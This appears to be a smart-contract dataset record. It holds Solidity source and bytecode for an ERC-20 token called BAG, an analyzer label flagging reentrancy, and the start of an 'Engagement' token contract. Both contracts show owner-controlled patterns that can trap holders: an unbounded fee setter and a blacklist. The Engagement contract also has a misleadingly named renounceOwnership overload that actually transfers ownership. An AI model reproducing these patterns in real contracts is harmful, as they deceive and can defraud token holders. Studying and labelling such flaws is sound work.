require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BAG is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bored Ape Gas";
string private constant _symbol = "BAG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 4;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x0d3DA59B2ef64aad6B47eDf5d9632F32CaF4e543);
address payable private _marketingAddress = payable(0x0d3DA59B2ef64aad6B47eDf5d9632F32CaF4e543);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 2000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b357600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611958565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600d81526c426f726564204170652047617360981b60208201525b60405161023d9190611a1d565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a72565b61069d565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b5068056bc75e2d631000005b60405190815260200161023d565b3480156102e057600080fd5b506102666102ef366004611a9e565b6106b4565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023d565b34801561033257600080fd5b50601554610296906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611adf565b61071d565b34801561037257600080fd5b506101fc610381366004611b0c565b610768565b34801561039257600080fd5b506101fc6107b0565b3480156103a757600080fd5b506102c66103b6366004611adf565b6107fb565b3480156103c757600080fd5b506101fc61081d565b3480156103dc57600080fd5b506101fc6103eb366004611b27565b610891565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611adf565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610296565b34801561045d57600080fd5b506101fc61046c366004611b0c565b6108c0565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600381526242414760e81b6020820152610230565b3480156104bf57600080fd5b506101fc6104ce366004611b27565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b40565b610937565b3480156104ff57600080fd5b5061026661050e366004611a72565b610975565b34801561051f57600080fd5b5061026661052e366004611adf565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b72565b6109d6565b34801561058457600080fd5b506102c6610593366004611bf6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b27565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611adf565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c2f565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c90565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611da8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c2f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c2f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c2f565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c2f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c2f565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c2f565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c2f565b60005b82811015610a71578160056000868685818110610a2257610a22611c64565b9050602002016020810190610a379190611adf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c90565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c2f565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c2f565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611ca9565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611462565b600081848411156112145760405162461bcd60e51b81526004016106289190611a1d565b5060006112218486611cc1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d5611490565b90506112e183826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c64565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611cd8565b816001815181106113c0576113c0611c64565b6001600160a01b0392831660209182029290920101526014546113e69130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141f908590600090869030904290600401611cf5565b600060405180830381600087803b15801561143957600080fd5b505af115801561144d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146f5761146f6114f5565b61147a848484611523565b80610a7157610a71600e54600c55600f54600d55565b600080600061149d61161a565b90925090506114ac82826114b3565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165c565b600c541580156115055750600d54155b1561150c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115358761168a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156790876116e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115969086611729565b6001600160a01b0389166000908152600260205260409020556115b881611788565b6115c284836117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160791815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061163682826114b3565b8210156116535750506006549268056bc75e2d6310000092509050565b90939092509050565b6000818361167d5760405162461bcd60e51b81526004016106289190611a1d565b5060006112218486611d66565b60008060008060008060008060006116a78a600c54600d546117f6565b92509250925060006116b7611490565b905060008060006116ca8e87878761184b565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117368385611ca9565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b6000611792611490565b905060006117a0838361189b565b306000908152600260205260409020549091506117bd9082611729565b30600090815260026020526040902055505050565b6006546117df90836116e7565b6006556007546117ef9082611729565b6007555050565b6000808080611810606461180a898961189b565b906114b3565b90506000611823606461180a8a8961189b565b9050600061183b826118358b866116e7565b906116e7565b9992985090965090945050505050565b600080808061185a888661189b565b90506000611868888761189b565b90506000611876888861189b565b905060006118888261183586866116e7565b939b939a50919850919650505050505050565b6000826000036118ad575060006106ae565b60006118b98385611d88565b9050826118c68583611d66565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195381611933565b919050565b6000602080838503121561196b57600080fd5b823567ffffffffffffffff8082111561198357600080fd5b818501915085601f83011261199757600080fd5b8135818111156119a9576119a961191d565b8060051b604051601f19603f830116810181811085821117156119ce576119ce61191d565b6040529182528482019250838101850191888311156119ec57600080fd5b938501935b82851015611a1157611a0285611948565b845293850193928501926119f1565b98975050505050505050565b600060208083528351808285015260005b81811015611a4a57858101830151858201604001528201611a2e565b81811115611a5c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8557600080fd5b8235611a9081611933565b946020939093013593505050565b600080600060608486031215611ab357600080fd5b8335611abe81611933565b92506020840135611ace81611933565b929592945050506040919091013590565b600060208284031215611af157600080fd5b81356112e181611933565b8035801515811461195357600080fd5b600060208284031215611b1e57600080fd5b6112e182611afc565b600060208284031215611b3957600080fd5b5035919050565b60008060008060808587031215611b5657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8757600080fd5b833567ffffffffffffffff80821115611b9f57600080fd5b818601915086601f830112611bb357600080fd5b813581811115611bc257600080fd5b8760208260051b8501011115611bd757600080fd5b602092830195509350611bed9186019050611afc565b90509250925092565b60008060408385031215611c0957600080fd5b8235611c1481611933565b91506020830135611c2481611933565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca257611ca2611c7a565b5060010190565b60008219821115611cbc57611cbc611c7a565b500190565b600082821015611cd357611cd3611c7a565b500390565b600060208284031215611cea57600080fd5b81516112e181611933565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d455784516001600160a01b031683529383019391830191600101611d20565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da257611da2611c7a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a37c90ec590544d87b75cbe421b9e87315d4c50130f69cd307fa9247383d0f564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,949 |
0xb28f5c5eaf2e30ec83e1151fe34e360d0a6da6b7
|
// SPDX-License-Identifier: UNLICENSED
/*
█▀▀ █▄░█ █▀▀ ▄▀█ █▀▀ █▀▀ █▀▄▀█ █▀▀ █▄░█ ▀█▀
██▄ █░▀█ █▄█ █▀█ █▄█ ██▄ █░▀░█ ██▄ █░▀█ ░█░
Without Engagement, nothing is possible, especially in crypto
The Ethereum community is a close-knit group of apes, and we believe that Engagement will be the
growth of our community
Our path to success lies within the community’s engagement
Engagement will not create a telegram, but would rather be a test on how far
the community is willing to engage with one another
Max Wallet is 2%, we are against whales and want the community to win
Upon launch, 100% of the supply will be added to the liquidity, and contract ownership renounced.
If the community engages with one another, we are all going to make it
TOKEN DISTRIBUTION
Fixed Supply: 10,000,000
100% supply into liquidity upon launch
-No presale
-No whales
TOKENOMICS
Buy: 6% liquidity fee
Sell: 6% liquidity fee
Max Transaction: 100,000
Max Wallet: 200,000
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function renounceOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Engagement is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Engagement";//////////////////////////
string private constant _symbol = "Engagement";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 0;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x838A747Fd4BD77dB05F061Fc20bb1848B38983B1);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x838A747Fd4BD77dB05F061Fc20bb1848B38983B1);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
